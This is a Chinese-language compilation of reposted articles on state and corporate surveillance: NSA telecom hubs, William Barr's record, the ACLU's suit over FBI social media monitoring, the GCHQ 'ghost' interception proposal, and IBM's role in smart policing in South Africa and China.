该建筑是一座大型的混凝土长方形设施，窗户很少，位于美国国会大厦以南不到一英里的地方。财产税记录显示，Verizon 拥有大部分财产（价值2600万美元），而 AT＆T 拥有较小部分（价值880万美元）。大楼内部布局规划显示，AT＆T在第四层，第五层和第六层都有空间。

国会大厦警察局在对面设有一个办公室，通常在该场址周围设有大量警车。当 The Intercept 在今年早些时候访问该设施拍摄照片时，几分钟内，几名武装警察就带着狗来到现场。他们质疑我们的记者，搜查了他的汽车，并表示该大楼被视为重要的基础设施。

他们都是 SNRC 之一。

"THE WIRETAP ROOMS" **The NSA’s Hidden Spy Hubs in Eight U.S. Cities**

by Ryan Gallagher, Henrik Moltke

June 25 2018, 1:00 p.m.

原文

老大哥出任司法部长的结果是什么？ - iYouPort

老大哥的真面目

特朗普的司法部长提名人威廉·巴尔（**William Barr**）有过严重错误的历史

「图」

「图」

特朗普的司法部长提名人威廉·巴尔（William Barr）有过严重错误的历史。从设计无证的大规模监视计划到证明总统无视国会的权力，Barr 提出了一系列被法院、国会和公众明确拒绝的可疑法律理论。这引起了对他是否适合成为司法部长的严重担忧。

Barr 明确支持侵犯美国人的宪法权利，留下了无证间谍和政府权力滥用的灾难性遗产。

在服务于乔治H.W.布什政府期间，**Barr** 帮助开发了成为国家安全局大规模电话监控计划的“蓝图”。1992年，他和当时的副手罗伯特·穆勒授权缉毒局开始大量收集电话数据，命令电话公司秘密地将所有从美国打出的电话记录移交给他们—所涉及的区域最终超过100个国家。

据“今日美国”报道，当 DEA 计划被曝光时，它“是首次被公开政府收集美国人数据的秘密行动，收集了数百万美国公民的电话记录，无论他们是否涉嫌犯罪。 ”

根据2001年的“爱国者法案”，DEA 计划最终成为了美国国家安全局电话记录收集计划的典范，该机构用于收集数千万美国人的国内电话记录。

由美国国家安全局举报人爱德华·斯诺登（Edward Snowden）曝光的国家安全局秘密间谍计划被联邦上诉法院认定为非法，并在2015年国

会投票通过两党合作对其进行了部分改革。不出所料，Barr 是臭名昭著的爱国者法案的热心支持者。事实上，他说这些苛刻的法律还“远远不够”。

国会应该向 Barr 询问他是否会成为监视改革的障碍，以及他是否相信政府有能力复活或扩大无证间谍计划。

Barr 致力于让 Verizon 和其他公司更容易将大量敏感客户数据交给政府——

Barr 担任 Verizon 的执行副总裁兼总法律顾问的乔治**W.**布什时代，这家电信巨头"就参与了"一项名为 **Stellar Wind** 的大规模无证监控计划。

在 Barr 的监督下，Verizon 允许美国国家安全局拦截美国人的电话和电子邮件的内容，并大量吸取与美国人的电话和互联网活动相关的元数据。

“外国情报监视法”（FISA）禁止这种监视，国会通过该法案来规范政府的监视做法并防止滥用。司法部最终在2004年得出结论，该计划的某些部分是非法的。Verizon 参与的确切日期尚不清楚，尽管文件显示他们至少早在2007年就已参与。其他部分被证明是NSA上游监控计划的先行者，政府今天继续使用该计划非法搜索美国人的电子邮件和互联网通讯。

作为 Verizon 的总法律顾问，Barr 后来游说国会给予电信公司私人诉讼豁免权，以参与非法的监视计划，这将确保像 Verizon 这样的公司帮助政府侵犯美国人的隐私而不会被追责。

Barr 还提倡全面的行政权力，这将对监视产生重大影响。在1989年的一份备忘录中，当时担任司法部法律顾问办公室助理检察长的 Barr 对国会限制行政部门权力的能力表示怀疑，他甚至认为信息自由法案让当权者太受限，而且总统可以在“打击恐怖主义”的幌子下无视其限制。

对 Barr 的提名表明特朗普政府将继续以牺牲第四修正案权利为代价来追求巨大的监视权力，并且对国会的权力几乎没有尊重。

William Barr Helped Build America’s Surveillance State: Barr’s nomination is more evidence that the Trump administration will continue to pursue vast surveillance powers at the expense of our

Fourth Amendment rights and will have little respect for Congress' power.

原文

老大哥否认他是老大哥怎么办？起诉他 - iYouPort

老大哥的真面目

他们拒绝公民社会组织的信息公开请求

「图」

「图」

FBI 一直在监控社交媒体帖子这并不是什么秘密。但是至今仍不清楚的是，为什么在美国公民自由联盟（ACLU）要求提供与该监视有关的记录后，该局拒绝承认其存在。这只是 ACLU 及其北加州附属公司提起诉讼的原因之一。

去年5月，根据诉讼，ACLU 向七个政府机构提交了“信息自由法案”（FOIA）请求“寻求公开有关联邦政府对社交媒体监控的记录”。从那时起已经将近八个月了，并没有其中任何机构遵守这一法律。由此产生的诉讼旨在“强制执行公众对被告联邦机构的监督权。”

“关于被告用来监视社交媒体用户和言论的工具和方法，或者任何管理此类监视的政策和指导方针，公众几乎一无所知”，该诉讼在美国北区地方法院提起。“这些记录公开的公众利益是明确的。因为政府越来越多地使用社交媒体监控涉及数百万用户的在线言论，美国公民和各种背景的居民迫切需要了解其确切的性质，以及这种监视的程度和后果。“

各种联邦机构确实保存了监控人们社交媒体活动的历史记录。在某些情况下，这些记录并没有特别隐秘。

考虑 FBI。早在**2012**年，"该局就发布了"一项信息请求，作为承包商帮助建立社交媒体监控系统的一部分。 **2016**年，"Vice 报告" **FBI** 正在使用一种名为 **SocioSpyder** 的工具来监控 **Facebook**、**Twitter** 和 **YouTube** 等网站的数据。正如电子隐私信息中心（**EPIC**）去年**6**月所"指出的"那样，**FBI** 被认为利用承包商 **Dataminr**“实时监控超过**5**

亿条每日推文。”

然而，该局对 ACLU 的 FOIA 请求作出的回应是，称其“既不能确认也不能否认存在符合您要求的记录”。

美国公民自由联盟还起诉司法部和国土安全部以及国土安全部旗下的三个机构：海关和边境保护局、移民和海关执法局以及公民和移民服务局。

对于 ACLU 来说，特别值得关注的是针对移民人口所谓“社交媒体形象”的监视。被告“已经加强了对移民和签证申请人的社交媒体信息的监控和保留，包括为了执行特朗普政府所谓的’极端审查’或’签证生命周期审查’，”诉讼中写道。

例如，EPIC 指出国务院一直要求签证申请人披露他们的社交媒体使用。与此同时，国土安全部在2017年9月表示，它希望“扩大所有移民的记录类别”，包括“社交媒体处理，别名，相关的一切可识别信息，还包括搜索历史记录”。

“国土安全部越来越倾向于窥探移民和外国人的社交媒体，我们认为这是对隐私的侵犯，阻碍了言论自由，”电子前线基金会的律师 Adam Schwartz 告诉 BuzzFeed。

ACLU 诉讼请求法院搜索和发布与被告社交媒体监控相关的所有记录。“政府隐瞒这种国内间谍活动的细节是不可接受的，”ACLU 律师 Hugh Handeyside 和 Matt Cagle 在一篇关于这起诉讼的博客文章中写道。“公众需要了解政府如何盯着我们—我们不应该通过自我审查在网上说的话来规避这种监视。”

The FBI Won’t Say if It Spies on Your Social Media Posts. Cue the Lawsuit! “The public needs to know how the government is watching us—and we shouldn’t have to think about self-censoring what we say online.”

原文

英国间谍如何对端对端的致命弱点开刀？！ - iYouPort

老大哥的真面目

「图」

「图」

全球一流间谍机构英国政府通信总部（GCHQ）信号情报部门的两名官员设计了一个可以解决棘手问题的“建议”，即 如何拦截端到端的加密通信—— 而不会从表面上看到加密被破坏或削弱的结果。

包括澳大利亚在内的世界各国政府目前都在试图弄清楚如何避免他们感兴趣的任何人消失在加密技术的保护中，正是由于加密的流行趋势，老大哥们很焦虑。

安全研究人员警告说，迫使提供商和开发商削弱或破坏加密的风险是会直接引入系统性弱点，并使每个人的通信以及金融系统整体都处于危险之中。

然而，现在，GCHQ 的两位间谍技术总监 Ian Levy 和 Crispin Robinson 都认为他们可能会提出一个解决方案，令一切看起来还在加密，但同时允许政府机构窃听对话。

“在加密服务的世界中，潜在的解决方案也许可以追溯到几十年前。⚠ 服务提供商可以相对容易地将当局老大哥静悄悄地添加到群聊或通话中。

因为服务提供商通常控制身份系统，因此是他们在真正决定谁是谁、以及涉及哪些设备—— 他们通常参与介绍聊天或通话的各方。你最终得到的所有东西都是端对端加密的，但是，这个特定的沟通还有一个额外的“接收端”，“GCHQ 的间谍写道。

为了实现这一目标，老大哥被添加到对话中的通知必须不能出现在目标的设备上。这是唯一需要的东西，Levy 和 Robinson 说，“你根本

不需要去碰加密，就直接解密了”。

Edward Snowden 立即对该提案进行了严厉抨击：“绝对的疯狂！英国当局希望公司可以秘密地将政府人员作为第三方加入私密谈话，这意味着你朋友名单上的任何人都会变成“你的间谍”。不再有任何公司介导的身份可以信任。”

「图」

「图」

安全研究员 Mustafa al-Bassam 指出，这一阴险的提案利用了这样一个事实，即 用户不会验证彼此的公钥，并且会注入错误的加密密钥。为了防止老大哥被静静地添加到用户的对话中，用户友好的密钥验证将变得越来越重要。 制作 Key Transparency 等系统，用于查找公钥，更加用户友好，以便在管理加密凭证的同时检测服务器的不当行为，即使用户不验证密钥也将有助于挫败 GCHQ 的阴险提议。

Two officers at Britain’s GCHQ signals intelligence agency have devised a proposal to solve that seemingly intractable problem, namely how to intercept end-to-end encrypted communications—without breaking or weakening the encryption. ‘Absolute madness: the British government wants companies to poison their customers’ private conversations by secretly adding the government as a third party, meaning anyone on your friend list would become “your friend plus a spy.” No company-mediated identity could be trusted’

原文

血族：美国人、IBM 和出口的数字警察国家 [video] - iYouPort

协助暴政的家伙们老大哥的真面目

这是一场新的“革命”，它革掉了人权灭绝了人性；最重要的是，是谁在帮助这种恐怖的数字警察国家的形成？5G究竟是为谁服务的东西？中国构想的生物识别数据身份证，并不奇怪，因为它早就有了……

Parkhurst 不欢迎“乞丐和流浪汉”。这里是南非约翰内斯堡一个大约有5000人居住白人社区。居民声称有罪犯正在徘徊。为了打击当地“犯罪”，社区成员提出了一个解决方案：即 无处不在的监视。

然而，他们的建议不是“传统”的监视。由于数字革命，Parkhurst 现在可以集成面部识别、热传感器、红外跟踪和数据分析技术。由于拥有了强大的新技术，可怜的黑人“流浪汉”可以随意被监视、被标记、被监管、并被恐吓、迫害和举报。

“智能”监控系统正在国内安静地组装。公众一直对此不知情。这是南非所谓的智能警务的第一次深入揭露。

一场新的“革命”

两年前，Parkhurst 已经成为首批开始安装自己的智能监控系统的SA社区之一。这个小社区成为了全国头条新闻，成为了南非第一个获得住宅光纤互联网的社区。媒体机构对监视组件进行了粉饰。

Parkhurst 居民和企业主协会为“光纤到户”而奋斗。该组织的主席 Cheryl Labuschagne 表示，他们的主要动机是“现代”数字监控，⚠只有高速互联网可以提供动力。居民有快速的互联网使用似乎是次要的 —— 想想是谁在对5G跃跃欲试？

Vumatel 的一名员工乔治·洛维诺（Giorgio Lovino）对此做了详细说明：光纤“连接到整个社区的CCTV [监控]摄像机……它将视频输入从

这些摄像机传输到控制点。它允许监视者进行车牌识别、面部识别、以及所有这些类型的监视活动。“CCTV系统正在制定中，以便社区可以负担得起。

Parkhurst 还计划安装红外和热源相机来跟踪身体动作。Labuschagne 说，他们将使用“GPS等技术来映射事件发生的准确位置”，并确定“哪些运动被认为是异常的，而不是在人们遛狗等地方的典型运动”。

Labuschagne 没有说明所谓“异常”的标准是什么。然而，Parkhurst 寻求的闭路电视监视软件 iSentry 的自我介绍说的很明白 —— 他们的宣传视频（如下）名为“异常行为检测”，描绘了一个年轻的黑人“乞丐”，由 iSentry 基于人工智能的视频分析被标记，不一会他就被一群警察抓住了，被一支半自动步枪指着。

这个场景似乎是作为宣传使用的，作为系统应如何运作的“典型场景”。也就是说，Parkhurst 的21世纪警务系统被广告宣传为针对贫穷的黑人。

由 CSS Tactical 部署的 iSentry 系统已安装在附近的社区里，并正在向其他地方传播。

Parkview 警察局指挥官 Moodley 上校“全心全意地”支持“令人耳目一新”的倡议。 Labuschagne 宣称她“真的非常希望我们在南非开始的是一场革命”。

智能城市：阴影中的监视

一场革命正在制定中。 2011年，约翰内斯堡市宣布了一项增长与发展战略草案（GDS 2040），即 与私营部门合作将约翰内斯堡转变为“智能城市”。

数字技术将使用“智能基础设施”和“智能视频及互联网监控系统”对从公共服务交付到犯罪管理等各方面进行全面的检查。

此后不久，约翰内斯堡就开始实施基于新监控摄像头和集中式警察数据分析的所谓“智能警务”。去年，当时市长 Parks Tau（ANC）将智能治安在约翰内斯堡富裕的中央商务区减少了22% —— 这是种族隔离制度下的白人区域。

Tau 吹嘘他的打击犯罪的工具有“面部识别技术、车牌识别技术，并能够检测或预测一群人何时计划犯罪。” 开普敦市也同样效仿这种东西。

高速互联网对智能视频监控至关重要，因为它可以传输高清晰度的信息。计算机需要丰富详细的图像来识别单词、面部和其他属性。模糊的图像无法工作。因此，⚠在有高速互联网的地方，也可以进行高端的侵入性监控。

南非高速互联网推广的领导者是前情报部长（2008-09）和国家安全部长（2009-14） Siyabonga Cwele。作为**SA**的前间谍头子，**Cwele** 支持极具争议的国家信息保护法案，该法案加强了对所谓国家机密的保护。

Cwele 没有列出正式的证书、行业经验或技术培训。尽管如此，总统雅各布祖马本人就是前情报官员，他任命 Cwele 为电信和邮政部（DTPS）部长。这使得前任间谍部长开始负责南非的互联网。讽刺吗？可能并不是，这个集中化的互联网本身就是一个超级1984，详细解释参见“为自由而战”系列。

在西开普省，Cwele 告诉南非人他们“必须适应”、“必需改变我们的隐私观念”；世界经济论坛创始人克劳斯·施瓦布（Klaus Schwab）创造的“第四次工业革命” 已经来到南非。

「图」

「图」

“血族”海报。这篇文章足够解释为什么这个海报是这样的。我们相信“血族”的编辑团队可能没有这一揭露的意图

智能警务：美国、南非

在大西洋彼岸，智能治安正在顺利进行。 2016年，ProPublica 发表的一项研究发现，美国常用的预测“未来罪犯”的软件“偏向针对黑人”。

即使软件中没有编入种族类别，黑人也被错误地标记为“未来的罪犯”，几乎是白人被告的两倍。该研究发现，这种种族主义逻辑的技术无法通过先前的犯罪或所犯罪行的类型来解释。

在美国的公共场所，空中监视无人机和智能传感器正被用于对城市人口的全面控制。 2015年，联邦调查局透露，在警方谋杀迈克尔·布朗和弗雷迪·格雷的 **BlackLivesMatter** 抗议活动期间，监视无人机飞行在弗格森和巴尔的摩上空。

- IYP 提供过相关介绍，延伸《如何防止被无人机监控？（热成像监控的抵制方法）》

已发布的文件显示，**FBI**正在使用红外和夜视摄像机，并长期保留空中无人机监控录像的视频记录。

手机也是警察的目标。 2015年，巴尔的摩居民发现他们的城市警察部门正在系统性地滥用“黄貂鱼”设备，诱骗手机所有者透露他们的位置。

- IYP 介绍过防御方法，延伸《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？》

有证据表明，黄貂鱼监视设备主要集中在贫穷的黑人社区，对有色人种的影响不成比例。现在，美国一半的成年人都在执法的面部识别数据库中。全国四分之一的警察部门可以使用人脸识别数据库。

所谓的智能警务是数字时代的一个极具争议的新组成部分。使用智能监控、计算机和传感器可实时自动检测和解释视频源和其他数据，以促进无处不在的监视。

随着技术成本的下降，企业和国家行为者正在更加随意地大规模铺设这些监视技术，其中包括一系列传感器 —— 用于检测枪击的麦克风，用于人脸识别的高分辨率视频，用于评估身体运动的红外和热传感器 —— 以及高速的联网，从根本上极度扩大了警力能力。

利用先进的数据分析，那些可以访问监控数据的人 —— 企业、警察部门、私人保安公司、政府间谍机构 —— 就可以筛选大量数据来磨练算法，针对边缘群体和当权者感兴趣的任何人。计算机软件正在决定将警察集中在哪里巡逻，以防止“未来的犯罪”，这种恐怖的局面对公民权利可能造成灾难性后果。

如你所见，⚠这个南非国家正在反映美国发生的一切。政府拥有这种邪恶的监视设备，假装是手机信号塔，以“跟踪电话的动作，查明其位置，拦截电话或窃听对话” —— 手机用户根本不知道它的存在。⚠尤其是，当抗议者聚集在一起时，极易受到抓捕者的攻击 —— 详见发生在纽约的高科技镇压案件《阻止警察对活动家实施的间谍行为》

「图」

「图」

无人机监视也已开始广泛使用。开普敦市正在试验空中无人机来监视公民。他们的网站直接称其为“老大哥”。甚至，总部位于比勒陀利亚的公司 **Desert Wolf** 开发了一种可以向抗议者喷射催泪瓦斯和发射橡皮子弹的无人机。一家未具名的单位一下子订购了**25**个。详见下面的分析：

- IYP 分析过这种新型的镇压方式，延伸《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》很抱歉，这种镇压方式目前没有可靠的避免方案。

正如我在1月份在 Counterpunch 的报道中所述，南非的研发组织，即 科学与工业研究委员会（CSIR），已经悄然发展了**Cmore**。**Cmore** 是一种新的**“Jason Bourne”**型监控系统，可汇集和分析来自无人机镜头、闭路电视监视器、手机数据以及其他海上、陆上和边境警务输入的数据。

CSIR 认为 Cmore“为警察配备”，随后与南非警察局（SAPS）合作。实验包括“人群控制概念演示”。

与此同时，约翰内斯堡的情报运营中心（IOC）现在配备了“100个现有的高冲击摄像机”，支持基于软件的“智能视频分析作为所谓的智能执法的输入”。约翰内斯堡的新反移民市长 Herman Mashaba（DA）于2016年4月在选举胜利前几个月批准了预测性警务。

五年前，作为种族隔离国家的主要计算机和大规模的监视合作伙伴，美国寡头 **IBM** 与约翰内斯堡市合作制定了一个包括所谓的“犯罪预防”和调查分析的路线图。请记住**IBM**多年前曾如何帮助希特勒统计犹太人，而那些被统计的犹太人最终都会扔进了毒气室。

IBM公司：种族隔离的过去和现在

2002年，南非公民对这家美国巨头公司提起了诉讼，指控他们直接支持种族隔离政权侵犯人权的行为。原告指出，是 **IBM** 提供了用于实施种族隔离时代种族分类系统的技术。

而且，不仅仅是 **IBM**。

⚠是美国，不断向压迫性的外国政权提供这类技术。在过去的几年里，多家美国公司在帮助南非的种族隔离方面发挥了诡计多端的作用。 **IBM**一直是其中最严重的罪犯之一。

从20世纪30年代开始，IBM纽约公司在其总裁 Thomas Watson，Sr

的指导下，就向他们的德国子公司提供了 Hollerith 打卡系统，供第三帝国使用。为纳粹定制的 **IBM** 机器可以有效地跟踪和分类犹太人。奥斯威辛囚犯纹身的数字始于 **IBM** 打卡系统识别号码。

「图」

「图」

记得他吗？《血族》的主角之一，那口棺材的制作者，他的手臂上的那串数字就是奥斯维辛的标志

在种族隔离期间是 Thomas Watson 担任总裁，IBM 纽约公司为其南非子公司租赁了专为种族隔离国家量身定制的专业技术。1952年，种族隔离政权向IBM南非订购了第一台电子制表机。有充分的证据证明他们的技术被用来针对黑人进行分类、隔离和迫害。

1965年，IBM失去了针对黑人群体制作监视技术的投标。然而，他们直接赢得了建立**1970**年后发布的令人毛骨悚然的**“Book of Life”**的合同 —— 这是一个涵盖其他种族（例如有色人种、印第安人和白人）的大型监视项目。现在无人幸免了。

人口登记册的计算机自动化帮助简化了臭名昭着的“参考书”系统。所谓的参考书旨在监测和控制来自比勒陀利亚中央参考局的集中地点的黑人。

「图」

「图」

正如 Keith Breckenridge 在“*Biometric State*”（2014年）中提供的详细信息所示，警方希望能够通过其国家身份证或居住证中收录的指纹迅速识别和定位“原住民”。它是“一种单一的，具有成本效益的工具，可以让警察跟踪他们想要的任何人。” —— ⚠此前据传中国构想的生物识别数据身份证，并不奇怪。

但是这种形式的集中监视存在缺陷 —— 人们会丢失或烧毁他们的证件、或撕掉或伪造页面。笨拙的注册积压因迅速膨胀而失控。

被全能国家控制的全景人口反乌托邦梦想失败了，但后果是非常残酷的。种族隔离警察利用这一系统对黑人进行了大规模暴力和监禁。

为其SA子公司提供相关技术和专业知识的IBM纽约公司总部否认了责

任。去年六月，他们成功地驳回了代表种族隔离受害者的南非黑人原告向美国法院提起的诉讼。原告包括遭受酷刑、强奸和谋杀的亲属，在许多情况下涉及违法的证据。

2011年，约翰内斯堡市宣布与**IBM**合作，实施“符合**2040**年智能城市愿景的五年公共安全战略”。

与曾经“愚蠢”的监视系统不同，**IBM**的最新系统是“智能的”：⚠它使用“综合情报”进行“犯罪预防和调查 —— 包括提高警察的存在和可见度，更好地协调各机构，以及具有预测分析的数据中心”以及“情报共享”。

IBM将其创新基于其新的“Watson”超级计算机系统，该系统以在智力竞赛节目 Jeopardy 中超越人类而闻名。

他们的智能视觉套件包括“移动物体检测、跟踪、物体分类、颜色分类和面部跟踪”，以及“针对车辆和行人数据的大规模机器学习”。他们与南非科学技术部有十年的合作关系。

「图」

「图」

21世纪的**SA**：数字警察国家

南非的智能警务运动已经完全摆脱了公众对话。媒体报道主要专注于个人技术，显然无视这种大规模的迫害，甚至认可这种迫害。

今年3月，amaBhungane 的强硬调查记者报道说，Free State 发布并授予“一站式ICT融合中心”招标，违反了适当的采购程序。融合中心显然将为整个省政府提供“综合ICT系统”，包括集中控制室内的“摄像头监控和交通管理”。⚠印度公司 **Tech Mahindra** 是“解决方案合作伙伴”。

除了招标之外，还有另一个故事：Tech Mahindra 到底是什么？根据 **Tech Mahindra** 手册，作为所谓的“智能城市解决方案”的一部分，他们提供“智能安全监控”，其中包括车牌和面部识别、行为分析、视频分析和实时监控。

Mahindra Defense Systems 和总部位于美国的思科系统公司已在印度勒克瑙联手部署了**10,000**台摄像机！2015年4月，北方邦政府“展示了可用于将胡椒喷雾喷洒在任何不守规矩的人身上的无人机”。其中

五架“人群控制/镇压”无人机将于本月推出；它们的射程可达**600**米！这种监控还自称“在管理交通违规方面也非常有用”。

Mahindra 总部位于印度。然而，21世纪的镇压模式和技术显然是西方的。

⚠这是南非目前已经开始的方式。来自西方。

也许值得回顾一下历史。 2016年，一位（现已去世的）前中央情报局特工 **Donald Rickard** 自豪地承认，他提供的情报导致纳尔逊·曼德拉于**1962**年被捕；多年以后，**Steve Biko** 被国家置于禁令之下，这使他的言论沉默并限制了他的行动。警方拘留并折磨他，导致他悲惨地死去。种族隔离警察通过骚乱控制、“预防骚乱”和“公共秩序混乱”的警力暴力谋杀了无数人。

SA的高校也正在花费数百万美元进行监视，以平息**#FeesMustFall**抗议活动。 2016年，罗德斯大学的CCTV如雨后春笋般涌现出来，甚至可以扩展到建筑物内部。

管理层拒绝透露细节。今年早些时候，Wits 大学增加了新的闭路电视监视，并宣布了对校园内无人机监控和生物识别技术的考虑。

3月份，eNCA的检查站报告说，约翰内斯堡大学任命了一家私人保安公司 **Bold Heart Group**，该公司专门负责监视学生。

在学生空间之外，抗议活动比比皆是。从 Vuwani 到开普敦，人们在街头活跃。为了回应祖马最新的内阁重新洗牌，人们在公共场合聚集行使受宪法保护的抗议权利。

4月20日，amaBhungane 对“拦截通信和提供通信相关信息法”（Rica）的合宪性提出了质疑。挑战侧重于批量通信拦截。没有比这更好的时机来挑战所谓的智能警务的合法性和道德规范了。

值得注意的是，两个主要政党 —— “非洲人国民大会和民主联盟” —— 正在*联手组建*智能监视国家。还有待观察EFF和UDM等小党派所说的话 —— 以及公众会说些什么。

种族隔离制二十年后，一半的人口每天生活费用仅为2美元（R26）而大多数人的生活费用甚至更低。大规模的财富再分配的严肃计划仍未列入议事日程。

在阴影中，国家 —— 以及一些掌握资产富人 —— 正在与企业合作，

即 军事工业综合体，释放西方的警察国家手段以控制人口。

作者 *Michael Kwet* 是耶鲁大学法学院信息社会项目访问学者。他的播客 *Tech Empire* 可以在 *iTunes*和 *SoundCloud* 上访问。他正在写的书题为《科技帝国：全球南方的数字殖民主义 *Tech Empire: Digital Colonialism in the Global South*》。

原文

西方如何养肥了华为又"成就了"种族灭绝监视综合体？ - iYouPort

作恶者：谁在帮中国关于高堡奇人老大哥的真面目

多年来，西方公司一直在从中国这个全球最大的专制监视项目中获利

官方文件和报告显示，从IBM到微软，是西方一些最大的技术巨头一直在帮助华为建立了针对维吾尔族人的武器化中国大规模监视工具。

现在，一家奥地利公司 Frequentis 正在使用华为的技术为英国、欧洲及其他地区的 “公共安全[维稳]机构” 提供产品。鲍里斯·约翰逊与这家中国科技巨头的恋情只是最新一幕而已。

☞这篇独家报道不仅揭示了华为如何在中国维稳机构的崛起中发挥了不可或缺的作用，而且，还揭示了美国、英国和欧洲公司如何协助并助长了华为的崛起，没人愿意考虑可怕的后果。

「图」

「图」

对于特朗普政府的懊恼，鲍里斯·约翰逊（Boris Johnson）政府允许华为帮助建立英国的5G网络，但华为的 “更重要的安全” 组件除外，其中包括与军事和核设施有关的任何组件。

☞但是，华为技术早已深入到英国和欧洲的安全通信基础设施中。

特朗普-约翰逊关于华为的紧张局势忽视了一个事实，即：美国、英国和欧洲的公司在帮助华为开发中国新疆地区世界上最大的专制监视项目中发挥了至关重要的作用。

目前，中国的所谓 “智能城市” 综合体追踪新疆各地约250万居民，特别是针对该省的维吾尔族穆斯林。

- 《“智能城市” 究竟是什么？是谁创造的这个伪概念？》

如果某人被标记从事可疑活动（例如祈祷），他们就很可能会受到中国情报部门的调查，并被拘留在“再教育”营中，目的是使他们摆脱任何类似于“穆斯林”身份的特征。

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/6875

自2017年以来，至少有100万维吾尔族穆斯林在这里被拘留，这是自大屠杀以来最大规模的针对种族或宗教团体的大规模监禁。

2018年8月，联合国消除种族歧视委员会提供了多达200万穆斯林的估计，其中包括被拘留在这些营地中的哈萨克人和乌兹别克斯坦等其他少数民族。幸存者和目击者描述了酷刑、强奸和虐待的可怕经历。

爱尔兰国立大学法律系的 Ciara Finnegan 在《法律》杂志上进行的一项新研究得出的结论是，这一证据表明了中国当局的“文化种族灭绝”模式，旨在消除维吾尔族作为独立文化身份的存在。其他专家"也同意这点"。

根据纽卡斯尔大学现代语言学院中国研究高级讲师 *Joanne Smith Finley* 博士所说，中国正在重建“维吾尔人的身体、思想、语言、宗教和文化”，实际上这是一种“种族灭绝作为社会控制”的形式。她将“再教育”计划描述为“一种最终解决方案，可以击败已知的任何反殖民主义运动，并消除维吾尔族作为该运动的生命线的身份。”

华为在很大程度上建立了侵入式监视系统，该监视系统在新疆各地运行，允许当局识别维吾尔族嫌疑人。

☞然而，华为并不是靠自己来实现这一“壮举”的：它在西方朋友的帮助下取得的这一“成就”。

- 列表-4 “作恶者：谁在帮中国”

这些帮凶之一就是标志性的美国技术巨头IBM，近年来与特朗普的关系越来越密切。

- 《血族：美国人、IBM 和出口的数字警察国家》

- 《IBM和谷歌如何通过中国协助独裁政权的间谍行为？》
- 《科技寡头如何操纵学术界以延续隐性专制？》

IBM：播下了邪恶的种子

特朗普抨击华为对国家安全构成威胁，并谴责英国与该中国科技巨头联姻。

☞然而，他没有透露IBM在华为快速扩张中的重要作用。

2019年，IBM 首席执行官 Ginni Romety 加入了特朗普的美国劳动力政策咨询委员会。 2020年1月，她与伊万卡·特朗普（Ivanka Trump）联手发起了一场全国性的运动。

这反映了**IBM**在政治上与白宫的密切关系。

自2008年以来，IBM总体上*仅*从臭名昭著的移民海关与执法局（ICE）和海关和边境保护局（CBP）处就获得了17亿美元的合同。特别是在特朗普的领导下，**IBM** 成为最大的政府技术供应商。

☞但是，正是IBM为中国的监视国家噩梦设计了蓝图，在其被称为“智能星球”的概念下，它声称为实现更高效、更可持续的城市。在纸上听起来很棒。但是，这实际上只是反乌托邦的噩梦。

IBM于**2009**年在中国首次提出了“智能星球”的概念，在全中国范围内召集了22个论坛，与200多个市的市长进行了接触。

同年，IBM与沈阳市东北大学联合建立了“生态城市”研究实验室，地方政府出资2.75亿元人民币。

该项目旨在开发新产品，随后可出售给中国其他地方政府，包括减少碳排放、节能、节水以及增强运输和交通系统的智能技术。

早在**2010**年，IBM就在北京的一次会议上宣布了中国的 **十年** 智能城市发展战略，该战略的基础是基于海量数据实现运输、食品安全、制造、水资源管理、能源和公共服务的全面所谓“智能化”。

- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》

然后，IBM 与许多中国城市签署了一系列战略合作协议，以开发其“智能”功能。

IBM 的第一个项目是成都的 “云” 解决方案，其中涉及食品安全、教育和电信，"特别是"与中国移动合作进行大型试点，以建立一个集中化管理的全市无线网络。

尽管这些项目的既定目标是改善公共福利，但是，从一开始，**IBM** 针对中国的技术解决方案设计就为全面监视形式打开了大门。

在其早期的智能城市项目中，有一个是**2012**年在中国镇江市进行的项目，IBM 在该市安装了其旗舰产品智能运营中心（IOC），用于所谓的 “智能解决方案”，将其作为 “城市的中央指挥点”。

尽管该项目专注于增强公共交通和公交车调度系统 —— 通过使用允许实时监视交通、公交车和乘客行为的传感器 —— **IBM** 的 **IOC** 明确设计为以有利于政府机构大规模监视的方式。

「图」

「图」

根据同年发布的有关其IOC系统的IBM手册，该中心能够合并包括 “安全/维稳机构” 和 “其他各级政府” 在内的整个城市职能部门的大量信息。

数据源包括 “天气、公民、执法、社会福利、视频” 的提要，并且该文档确定了许多应用程序，管理员可以从内置商店连接到中心的，包括：“情感分析：了解市民通过社交媒体形式谈论了哪些城市服务和政策。”

「图」

「图」

「图」

「图」

这代表了IBM的 “智能星球” 愿景的相当主观的想法。思科网站在2011年发布的IBM演示文稿中反复提到 “公共安全/就是维稳” 是 IBM “智能星球” 愿景不可或缺的组成部分。

「图」

「图」

除了描述智能城市如何从“反应式转变为预测式再到主动式”方法的怪异幻灯片（不乏终结者的形象）之外，IBM平台还提到了“融合和实时分析信息对公共安全的重要性”。和“数字视频监控，以保护公共建筑和交通基础设施……”。

- “预测式到主动式”，就是少数派报告中的那种东西《“未来是一项方程式”—少数派报告的威胁不是这两年才有的新事物》

「图」

「图」

其 IOC 系统的一部分描述了“公共安全/维稳”应用程序，其中包括“预测、监视和缓解危机情况”，“自动分析视频流中的威胁”、和“分析数据以检测并压制犯罪模式”的功能。

「图」

「图」

附带说明的是，该资料组还揭示了思科硬件在创建由 **IBM IOC** 系统管理的技术物理基础架构中的关键作用。

☞思科为中国臭名昭著的“金盾”维稳和监视程序提供并定制了硬件。

「图」

「图」

为中国第一个警察国家奠定基础

就在那年下半年，IBM 继续将克拉玛依确立为新疆地区的第一个智能城市试点项目。

根据2012年名为“智能城市”的IBM投资者资料，该公司已在全国建立了82个IBM分支机构，包括研究、创新和软件开发，包括在新疆的“智能城市”克拉玛依。

「图」

「图」

IBM与中国移动合作，使克拉玛依市成为新疆第一座享有无线通信系统的城市，该系统涵盖了城市生活的方方面面。

据官媒《中国日报》报道，“ IBM提出的概念是基于物联网和云计算等技术的、涵盖了运输、医疗保健和维稳。”

从一开始，无处不在的监视功能就内置在 **IBM** 的克拉玛依（**Karamay**）设计概念中。该系统非常复杂，比如 当失业率过高时，它将提醒政府官员。

关于IBM在克拉玛依市干了什么的公开信息很少。

但是，2015年一份报告对印度中央邦委托在智能城市方面取得的全球进展进行了研究，该报告对“公共安全/维稳”部分做了一些说明。

